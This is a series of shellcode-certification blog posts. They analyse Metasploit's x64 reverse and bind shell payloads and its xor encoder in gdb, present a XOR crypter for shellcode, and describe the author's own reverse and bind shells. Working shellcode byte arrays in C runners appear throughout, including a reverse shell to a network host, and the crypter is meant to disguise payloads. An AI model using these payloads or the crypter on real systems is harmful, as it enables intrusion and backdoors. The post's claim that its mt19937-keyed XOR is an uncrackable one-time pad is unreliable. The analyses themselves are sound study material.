Sunday, December 21, 2014

x64 Shellcode One-Time Pad Crypter

I chose to use C++11 to create a shellcode crypter. I decided the following data structure is one that works well when dealing with shellcode in C++:

typedef std::vector<unsigned char> bytearr_t;

I had a bit of difficulty when trying to find an appropriate encryption method to use. I knew that I didn't want to use a block cipher, as the extra padding would only increase the length of the shellcode. Most of the stream ciphers have a number of attacks on them, and the ones that don't are pretty obscure.

 One stream cipher that is guaranteed to be cryptographically secure and cannot be cracked is a one-time pad. This type of encryption means that the key length is the same size as the data being encrypted. With a one-time pad, it is literally impossible to reverse the message without the right key, since the message can be any permutation of the same length. Here is how I generate a key:

bytearr_t generate_key(size_t len)
{
    std::random_device rd;
    std::mt19937 mt(rd());
    std::uniform_real_distribution<double> dist(0, 256);

    bytearr_t ret;

    for (auto i = 0; i < len; ++i)
        ret.push_back((unsigned char)dist(mt));

    return ret;
}

There are other ways to generate the key, but this one means we will always end up with something somewhat unique. Here is the encryption method which is a basic xor stream cipher:

bytearr_t one_time_xor(bytearr_t sc, bytearr_t key)
{
    bytearr_t ret;

    assert(sc.size() == key.size());

    for (auto i = 0; i < sc.size(); ++i)
        ret.push_back(sc[i] ^ key[i]);

    return ret;
}

You might be thinking, a simple xor is all that's being used? Well, you're not alone, and there are theoretical attacks on one-time pads. For instance, if someone knows our payload ends with syscall, they can easily change those bytes of the payload into something else. But if someone can garble that, they can garble anything, and prevent the payload from running in the first place, so we shouldn't be concerned. Even if we actually do have that information leak, the rest of the payload will still be unintelligible without the right key.

 The following example shows encryption of a simple local shell payload.

Build
root@kali:~# g++ -std=c++11 -m64 -z execstack crypter.cpp

Encrypt
root@kali:~# ./a.out \x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05

Size: 24

Key:
\x69\x77\x89\xdd\x5a\x00\x4f\x89\xc7\xb4\x8e\xec\xc7\x05\x46\x33\x0b\x31\x27\xde\x2f\xe2\x71\x9d

Encrypted:
\x58\x81\xc1\x62\x8b\x9d\xd9\x18\x17\x38\x19\x13\x8f\xf2\x99\xc4\xed\x35\x1c\x89\x7b\xbd\x7e\x98

Decrypt/Run
root@kali:~# ./a.out -d \x69\x77\x89\xdd\x5a\x00\x4f\x89\xc7\xb4\x8e\xec\xc7\x05\x46\x33\x0b\x31\x27\xde\x2f\xe2\x71\x9d \x58\x81\xc1\x62\x8b\x9d\xd9\x18\x17\x38\x19\x13\x8f\xf2\x99\xc4\xed\x35\x1c\x89\x7b\xbd\x7e\x98

\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05

Press any key to execute...
# whoami
root

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

Saturday, December 20, 2014

A Look at the linux/x64/shell_reverse_tcp Metasploit Payload

After I finished micro optimizing my reverse TCP port shellcode, I remembered that Metasploit offers one. The msfpayload generated one which weighs in at 74 bytes. My payload is 77 bytes, however mine doesn't contain any null-bytes. Metasploit's will always contain nulls, even if your IP and port do not.

Even though I was sad to see it contained null-byutes, I thought there might be something to learn from Metasploit's version.

root@kali:~/# msfpayload linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 C
 * linux/x64/shell_reverse_tcp - 74 bytes

I threw this into a C file.

unsigned char sc[] = 
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x11\x5c\x7f\x00\x00\x01\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";

main(void)
{
    (*(void(*)()) sc)();
}


I compiled it: gcc -m64 -z execstack msfreverse.c

I then started up: gdb ./a.out

0x00000000004004ba in main ()
7: /x $rdi = 0x1
6: /x $rsi = 0x7fffffffe428
5: /x $rdx = 0x600880
4: /x $rcx = 0x0
3: /x $rbx = 0x0
2: /x $rax = 0x0
1: x/i $rip
=> 0x4004ba <main+14>:    callq  *%rdx

Again as I saw in the bind shell version, I discovered they were able to shrink their register fixing and first syscall into 12 bytes, whereas mine was 13.  Here again is a high level look at what they did to accomplish this:

push   0x29
pop    rax
cdq
push   0x2
pop    rdi
push   0x1
pop    rsi
syscall

Next we come across an area with null-bytes. Since I used 127.0.0.1 for the address, there are null-bytes. I got around this in my own shellcode by subtracting a mask, and adding it back when the shellcode is run.

One thing they did that was able to shrink the code considerably is enter all of the struct sockaddr in a single mov instruction.

0x000000000060088e in sc ()
7: /x $rdi = 0x7
6: /x $rsi = 0x1
5: /x $rdx = 0x0
4: /x $rcx = 0xffffffffffffffff
3: /x $rbx = 0x0
2: /x $rax = 0x2
1: x/i $rip
=> 0x60088e <sc+14>:    movabs $0x100007f5c110002,%rcx

It looks like they actually end up with some pollution in their stack when the syscall is made.

(gdb) x/4xw $rsi
0x7fffffffe330:    0x5c110002    0x0100007f    0x004004bc    0x00000000

We can compare this to  my version, which cleans the stack first.
(gdb) x/4xw $rsi
0x7fffffffe328:    0x5c110002    0x0100007f    0x00000000    0x00000000

I ran both programs through strace, and got identical syscalls.

connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("127.0.0.1")}, 16)

So I consulted the man page. It would appear these are optional bytes, and there may be a way to shrink my own shellcode at this point. I think I would be able to save 1 byte by not pushing and clearing this out.

The rest of the code is pretty standard for a reverse shell.  There's another null-byte when the "/bin/sh" string is put on the stack.

So just by looking at Metasploit's code I found at least two places I can further shrink my own code.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

A Look at the linux/x64/shell_bind_tcp Metasploit Payload

After I finished micro optimizing my bind TCP port shellcode, I remembered that Metasploit offers one. The msfpayload generated one which weighs in at 86 bytes and the payload always contains null-bytes, even if your port does not have one.  Even though the version I created already had 81 bytes, I thought there might be something to learn from Metasploit's version.

root@kali:~/# msfpayload linux/x64/shell_bind_tcp RPORT=4444 C
 * linux/x64/shell_bind_tcp - 86 bytes

I threw this into a C file.

unsigned char sc[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
"\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a\x6a\x31">
"\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f"
"\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
"\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";

main(void)
{
    (*(void(*)()) sc)();
}


I compiled it: gcc -m64 -z execstack msfbind.c

I then started up: gdb ./a.out

0x00000000004004ba in main ()
7: /x $rdi = 0x1
6: /x $rsi = 0x7fffffffe428
5: /x $rdx = 0x600880
4: /x $rcx = 0x0
3: /x $rbx = 0x0
2: /x $rax = 0x0
1: x/i $rip
=> 0x4004ba <main+14>:    callq  *%rdx

I discovered they were able to shrink their register fixing and first syscall into 12 bytes, whereas mine was 13.  Here is a high level look at what they did to accomplish this:

push   0x29
pop    rax
cdq
push   0x2
pop    rdi
push   0x1
pop    rsi
syscall

You can compare that with my version, which uses the xor esi, esi and mul esi to clear 3 registers.  Here the same is done with cdq to clear out the pollution, and then qword pushes popped directly into the registers. In a future release of my own shellcode I would make this change.

Next though, we come across one of the first instances of a null-byte.  It is part of the struct sock_addr that is used, where the port and address family is specified.

0x000000000060088f in sc ()
7: /x $rdi = 0x7
6: /x $rsi = 0x1
5: /x $rdx = 0x0
4: /x $rcx = 0xffffffffffffffff
3: /x $rbx = 0x0
2: /x $rax = 0x2
1: x/i $rip
=> 0x60088f <sc+15>:    movl   $0x5c110002,(%rsp)

When I was writing my own shellcode, I had to make a sacrifice. I probably could have shrunk even more bytes if I didn't make the PORT configurable.  However, doing so may be the reason I went about things differently, and 0'd out that area of the struct by pushing a 0 register twice. This is definitely less bytes, but of course has the null.

The next parts of this shellcode are all pretty standard.  I didn't see too much more I could do in terms of shrinkage, and my own execution was very similar to this payload's.

I did want to point out another area though where the null-byte is used, as the terminator for the "/bin/sh" string. I got around this by first pushing a 0 register on the stack, and then naming the string "//bin/sh" to fill in the extra byte.

(gdb) x/i $rip
=> 0x6008c1 <sc+65>:    movabs $0x68732f6e69622f,%rbx
(gdb) x/3x $rip
0x6008c1 <sc+65>:    0x622fbb48    0x732f6e69    0x48530068
(gdb) .

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

A Look at the x64/xor Metasploit Encoder

After I finished micro optimizing my reverse TCP shellcode, I remembered that Metasploit offers one. The msfpayload generated one which weighs in at 74 bytes. It would seem better than my 77 byte shellcode, except this comes with a price. The payload always contains null-bytes, even if your IP does not have .0's in it. This means you won't have as much luck exploiting string buffers as a completely null-free version would.

I found that to generate a null-free reverse TCP payload with Metasploit I had to use the encoder, and there only appears to be a single encoder explicitly for x64. The final payload size is 119 bytes.

root@kali:~/.ssh# msfpayload linux/x64/shell_reverse_tcp LHOST=10.2.100.15 LPORT=4444 R | msfencode -t c -e x64/xor -b '\x00'
[*] x64/xor succeeded with size 119 (iteration=1)

I threw this into a C file.

unsigned char sc[] =
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\x64\x8b\x0a\x55\x36\x0b\x54\xa5\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x0e\xa2\x52\xcc\x5c\x09"
"\x0b\xcf\x65\xd5\x05\x50\x7e\x9c\x1c\x1c\x66\x8b\x1b\x09\x3c"
"\x09\x30\xaa\x35\xc3\x83\xb3\x5c\x1b\x0e\xcf\x4e\xd3\x05\x50"
"\x5c\x08\x0a\xed\x9b\x45\x60\x74\x6e\x04\x51\xd0\x92\xe1\x31"
"\x0d\xaf\x43\xef\x8a\x06\xe2\x64\x7a\x45\x63\x54\xf6\x2c\x02"
"\xed\x07\x61\x43\xdd\x43\x6b\x8e\x0a\x55\x36\x0b\x54\xa5";

main(void)
{
    (*(void(*)()) sc)();
}


I compiled it: gcc -m64 -z execstack msfencoded.c

I then started up: gdb ./a.out

0x00000000004004ba in main ()
7: /x $rdi = 0x1
6: /x $rsi = 0x7fffffffe428
5: /x $rdx = 0x600880
4: /x $rcx = 0x0
3: /x $rbx = 0x0
2: /x $rax = 0x0
1: x/i $rip
=> 0x4004ba <main+14>:    callq  *%rdx

This is where the call into our shellcode begins. It starts out by setting RCX to 0xa. It then does RIP-relative addressing to load into RAX where it needs to start decoding from.

0x000000000060088a in sc ()
7: /x $rdi = 0x1
6: /x $rsi = 0x7fffffffe428
5: /x $rdx = 0x600880
4: /x $rcx = 0xa
3: /x $rbx = 0x0
2: /x $rax = 0x0
1: x/i $rip
=> 0x60088a <sc+10>:    lea    -0x11(%rip),%rax        # 0x600880 <sc>

Next, 0xa5540b36550a8b64 is moved into RBX. This is xored at [RAX + 0x27].

0x000000000060089b in sc ()
7: /x $rdi = 0x1
6: /x $rsi = 0x7fffffffe428
5: /x $rdx = 0x600880
4: /x $rcx = 0xa
3: /x $rbx = 0xa5540b36550a8b64
2: /x $rax = 0x600880
1: x/i $rip
=> 0x60089b <sc+27>:    xor    %rbx,0x27(%rax)

Eight bytes are then subtracted from RAX and the loop starts back at the XOR continues.  Once the loop finishes, we find ourselves directly at the pre-encoded payload.

This is clearly a very simple encoder.  Here's what the full code looks like:

_start:
    xor rcx, rcx
    sub rcx, 0xfffffffffffffff6
    lea rax, [rip + 0xffffffffffffffef] 
    mova rbx ,0xa5540b36550a8b64

decode:
    xor qword ptr [rax+0x27], rbx
    sub rax, 0xfffffffffffffff8
    loop decode

data:
    db 0x...

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

x64 Linux reverse TCP connect shellcode (75 to 83 bytes, 88 to 96 with password)

A "reverse" TCP shellcode is a payload that once executed connects to a remote socket, and pipes all stdin, stdout, and stderr to a local /bin/sh shell. This allows an attacker to gain a backdoor onto the computer.

Reverse shells are more effective than using a bind shell, as often incoming ports are blocked by a firewall while outgoing ports are generally free to travel.

UPDATE: The latest version is now 75 to 83 bytes, 88 to 96 with password.


The smallest reverse shell available that I can find is Metasploit, coming in at 74 bytes.  However, Metasploit's version contains null-bytes, which means it isn't very useful in a lot of exploits. In order to remedy this, you have to encode the payload, making it weigh in at 119 bytes.

My version is 77 bytes, or 85 if the IP address itself contains null-bytes (such as the well-known localhost 127.0.0.1). What I do is subtract a mask from the IP, and add it back in during the shellcode's execution.  Of course, my payload also comes with an optional 4 byte one-shot password, which if used means it will be 90 to 98 bytes.

You can find the code at:
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

Sunday, December 14, 2014

x64 Linux bind TCP port shellcode (80 bytes, 95 with password)

A "bind shell" is an open port on a machine that copies stdout and stdin to the socket, and executes a shell. When shellcode can be injected into a vulnerable process, this lets an attacker place a backdoor on the computer.

It's well known that one of the best repositories for shellcode on the web is at shell-storm. At the time of writing, the shortest x64 bind shell is 132 bytes, and password protected is 147 bytes. My shellcode is 81 bytes, and 96 with a password. Though this is pretty significant, I still think my code can be shrunk, and welcome any suggestions.

UPDATE: The most recent version is now 80 bytes, 95 with password.



You can find the code at:
My main strategy for reducing the amount of bytes was to figure out which 32-bit instructions automatically get promoted to 64-bit without too much consequence. The reason for this is oftentimes the 64-bit instructions require an additional byte so the processor knows it's 64-bit mode.

I also tried to figure out where I could cut corners when it came to the syscalls. For example, I didn't set the max client backlog setting when I bound the port (leaving it 0). Intuitively, this means that it shouldn't allow any connections, however Linux goes back to a default setting which will allow us to get on the box. 

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360

Friday, December 12, 2014

Why 4 Bytes for a One-shot Password is Reasonably Secure

I was recently thinking about how much entropy a single-shot password would need to be reasonably secure. I concluded 4 bytes of data is enough, and will explain my reasoning.

I should provide some context and define what a single-shot password is. Consider we are exploiting a vulnerability in a service on an open port, and can inject shellcode to be ran. All outgoing traffic from this machine is being blocked, or perhaps there are other reasons we don't want to send a reverse, outgoing shell. We instead want to bind a shell to a new port on the machine so that we can gain a foothold onto the machine and into the network.

We don't want anyone else who sees the open port to have unauthenticated access to our backdoor. Anyone attempting to connect gets one attempt at the password, and if they fail the listening port will close. Forever. We need to keep our shellcode minimal, so using a long passphrase is not going to fly when we inject our exploit.

I consider 4 bytes of data for a single-shot password in this instance to be "reasonably" secure. Of course "reasonably" is subjective, and I am sure there will be detractors to this statement and I would be interested in hearing their discourse. However, I will explain my own reasoning and back it with some simple mathematics.

Let me first say that a 4 byte password, in most contexts, is incredibly insecure. No matter what hashing mechanism or other protections are applied to it, it can probably be cracked within minutes or seconds. However, in a single-shot context, this type of attack on our password is not possible.

Now let's consider the 4-byte passwords that most people use daily. They're used from everything like bank account PIN numbers to "the last 4 digits of your social security number". Typically these passwords are strictly numerical, which does not provide much entropy at all. The set of 0 to 9 for each byte, 10 possibilities, combined 4 times.

So in fact, the amount of permutations for 4 bytes of numerical data is only 10 * 10 * 10 * 10 = 10,000. An attacker only needs 10,000 tries to enumerate every single possible combination of 4 digits.

For some reason, society still considers these 4 digit numerical PINs as "reasonably" secure, even when they're not single shot. In some cases PINs in an application (such as a bank website) can be vulnerable to guessing attacks, which means they can eventually and easily be cracked.

Now let me cite an example of a one-shot password, used by Google's two-factor authentication. When you log onto your GMail account, you have the option to have it send a 6-digit pin number to your cell phone, helping to ensure it's actually you logging onto the account.  Well, six digits is 10 * 10 * 10 * 10 * 10 * 10 = 1,000,000.  That's a one in a million shot, which Google has deemed reasonably secure.

Back to our bind shell. Our password is not limited to only numerical characters.

Consider the password Z~r0. This contains 26 possibilities of lower case, 26 possibilities of uppercase, 10 possibilities of digits, and at least 10 possibilities for symbols using a standard keyboard. Seventy-two possibilities per byte. So now our entropy is 72 * 72 * 72 * 72 = 26,873,856.

Someone trying to get into our one-shot shell would need to be pretty lucky, with odds of one in nearly twenty seven million. A considerable leap over the 10,000 we use for PINs and the 1,000,000 Google uses.

We can even go a step further. We don't need to contain our password set to human-readable ones, we can use ASCII bytes that do not have a visible character.  Any combination of bytes, including null bytes would work if we do a direct comparison of 32 bits. So, we open ourselves up to 256 * 256 * 256 * 256 = 4,294,967,296 possibilities. That's four billion with a B.

It's said winning the Powerball lottery is about 1 in 175 million odds (175,223,510). Any attacker would likely be better off trying to figure out a way to crack that than our single-shot bind port.